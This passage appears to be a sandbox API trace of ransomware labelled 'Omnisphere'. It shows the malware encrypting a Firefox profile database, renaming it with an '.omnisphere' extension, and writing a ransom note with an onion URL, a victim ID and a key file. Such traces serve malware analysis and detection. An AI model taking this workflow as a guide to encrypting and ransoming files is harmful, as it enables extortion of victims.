pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.545] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.545] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.545] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.545] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.546] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.546] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.546] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.546] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.546] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.546] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.546] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.546] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.546] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.546] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.546] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.546] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.546] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.546] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.546] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.546] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.546] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.546] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.546] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.546] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.546] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.546] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.546] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.547] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.547] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.547] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.550] CryptDestroyKey (hKey=0x16396a8) returned 1 [0162.550] CryptReleaseContext (hProv=0x1669098, dwFlags=0x0) returned 1 [0162.550] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xc000, lpNewFilePointer=0x0, dwMoveMethod=0x3e0bed4 | out: lpNewFilePointer=0x0) returned 1 [0162.551] WriteFile (in: hFile=0x398, lpBuffer=0x3e0b988*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0bee8, lpOverlapped=0x0 | out: lpBuffer=0x3e0b988*, lpNumberOfBytesWritten=0x3e0bee8*=0x524, lpOverlapped=0x0) returned 1 [0162.551] GetProcessHeap () returned 0x1600000 [0162.551] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x31e) returned 0x17502a8 [0162.551] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite.omnisphere")) returned 1 [0162.552] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite.omnisphere.id" [0162.553] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0162.553] WriteFile (in: hFile=0x3cc, lpBuffer=0x3e0b988*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0b970, lpOverlapped=0x0 | out: lpBuffer=0x3e0b988*, lpNumberOfBytesWritten=0x3e0b970*=0x524, lpOverlapped=0x0) returned 1 [0162.554] CloseHandle (hObject=0x3cc) returned 1 [0162.554] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0162.555] CloseHandle (hObject=0x394) returned 1 [0162.555] SetEndOfFile (hFile=0x398) returned 1 [0162.559] FlushFileBuffers (hFile=0x398) returned 1 [0162.607] CloseHandle (hObject=0x398) returned 1 [0162.608] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb") returned 1 [0162.608] GetProcessHeap () returned 0x1600000 [0162.608] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x17505d0 [0162.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0162.608] GetProcessHeap () returned 0x1600000 [0162.608] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x17336f8 [0162.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x17336f8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0162.608] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0162.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0162.608] GetProcessHeap () returned 0x1600000 [0162.608] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726718 [0162.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726718, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0162.608] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0162.608] GetProcessHeap () returned 0x1600000 [0162.608] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x10c) returned 0x1750af0 [0162.608] PathCombineW (in: pszDest=0x1750af0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\!DECRYPT_OMNISPHERE.txt" [0162.609] GetProcessHeap () returned 0x1600000 [0162.609] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1741068 [0162.609] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0162.610] WriteFile (in: hFile=0x398, lpBuffer=0x1741068*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0bf08, lpOverlapped=0x0 | out: lpBuffer=0x1741068*, lpNumberOfBytesWritten=0x3e0bf08*=0x588, lpOverlapped=0x0) returned 1 [0162.611] CloseHandle (hObject=0x398) returned 1 [0162.612] GetProcessHeap () returned 0x1600000 [0162.612] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x17505d0 | out: hHeap=0x1600000) returned 1 [0162.612] GetProcessHeap () returned 0x1600000 [0162.612] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x102) returned 0x17505d0 [0162.612] PathCombineW (in: pszDest=0x17505d0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\unique_decrypt.key" [0162.612] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0162.612] WriteFile (in: hFile=0x398, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0bf1c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0bf1c*=0x5a0, lpOverlapped=0x0) returned 1 [0162.613] CloseHandle (hObject=0x398) returned 1 [0162.614] GetProcessHeap () returned 0x1600000 [0162.614] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x17505d0 | out: hHeap=0x1600000) returned 1 [0162.615] GetProcessHeap () returned 0x1600000 [0162.615] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1750190 | out: hHeap=0x1600000) returned 1 [0162.615] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0c1b8 | out: lpFindFileData=0x3e0c1b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x246c9b2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x246c9b2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4714894, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xc000, dwReserved0=0x0, dwReserved1=0xa2, cFileName="2918063365piupsah.sqlite", cAlternateFileName="291806~1.SQL")) returned 0 [0162.615] FindClose (in: hFindFile=0x16395e8 | out: hFindFile=0x16395e8) returned 1 [0162.615] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\*", lpFindFileData=0x3e0bf68 | out: lpFindFileData=0x3e0bf68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x246c9b2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4206636e, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x4206636e, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c0075, dwReserved1=0x5c0074, cFileName=".", cAlternateFileName="")) returned 0x16395e8 [0162.615] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0bf68 | out: lpFindFileData=0x3e0bf68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x246c9b2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4206636e, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x4206636e, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c0075, dwReserved1=0x5c0074, cFileName="..", cAlternateFileName="")) returned 1 [0162.615] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0bf68 | out: lpFindFileData=0x3e0bf68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42053673, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x42053673, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x4206636e, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x6c0075, dwReserved1=0x5c0074, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0162.615] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0bf68 | out: lpFindFileData=0x3e0bf68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e680c0, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x2e680c0, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x2e680c0, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c0075, dwReserved1=0x5c0074, cFileName="2918063365piupsah.files", cAlternateFileName="291806~1.FIL")) returned 1 [0162.615] GetProcessHeap () returned 0x1600000 [0162.615] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x10c) returned 0x1750190 [0162.615] PathCombineW (in: pszDest=0x1750190, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb", pszFile="2918063365piupsah.files" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files" [0162.615] GetProcessHeap () returned 0x1600000 [0162.615] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x110) returned 0x17505d0 [0162.615] PathCombineW (in: pszDest=0x17505d0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\*" [0162.615] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\*", lpFindFileData=0x3e0bcbc | out: lpFindFileData=0x3e0bcbc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e680c0, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x2e680c0, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x2e680c0, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x9e, cFileName=".", cAlternateFileName="")) returned 0x16396a8 [0162.616] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0bcbc | out: lpFindFileData=0x3e0bcbc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e680c0, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x2e680c0, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x2e680c0, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x9e, cFileName="..", cAlternateFileName="")) returned 1 [0162.616] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0bcbc | out: lpFindFileData=0x3e0bcbc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e680c0, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x2e680c0, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x2e680c0, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x9e, cFileName="..", cAlternateFileName="")) returned 0 [0162.616] FindClose (in: hFindFile=0x16396a8 | out: hFindFile=0x16396a8) returned 1 [0162.616] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\*", lpFindFileData=0x3e0ba6c | out: lpFindFileData=0x3e0ba6c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e680c0, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x2e680c0, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x2e680c0, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x740073, cFileName=".", cAlternateFileName="")) returned 0x16397a8 [0162.616] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0ba6c | out: lpFindFileData=0x3e0ba6c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e680c0, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x2e680c0, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x2e680c0, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x740073, cFileName="..", cAlternateFileName="")) returned 1 [0162.616] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0ba6c | out: lpFindFileData=0x3e0ba6c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e680c0, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x2e680c0, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x2e680c0, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x740073, cFileName="..", cAlternateFileName="")) returned 0 [0162.616] FindClose (in: hFindFile=0x16397a8 | out: hFindFile=0x16397a8) returned 1 [0162.616] GetProcessHeap () returned 0x1600000 [0162.616] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x17505d0 | out: hHeap=0x1600000) returned 1 [0162.616] GetProcessHeap () returned 0x1600000 [0162.616] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1750190 | out: hHeap=0x1600000) returned 1 [0162.616] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0bf68 | out: lpFindFileData=0x3e0bf68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x246c9b2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x246c9b2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x41fcdc2b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xc524, dwReserved0=0x6c0075, dwReserved1=0x5c0074, cFileName="2918063365piupsah.sqlite.omnisphere", cAlternateFileName="291806~1.OMN")) returned 1 [0162.616] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0bf68 | out: lpFindFileData=0x3e0bf68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41fcdc2b, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x41fcdc2b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41fcdc2b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, 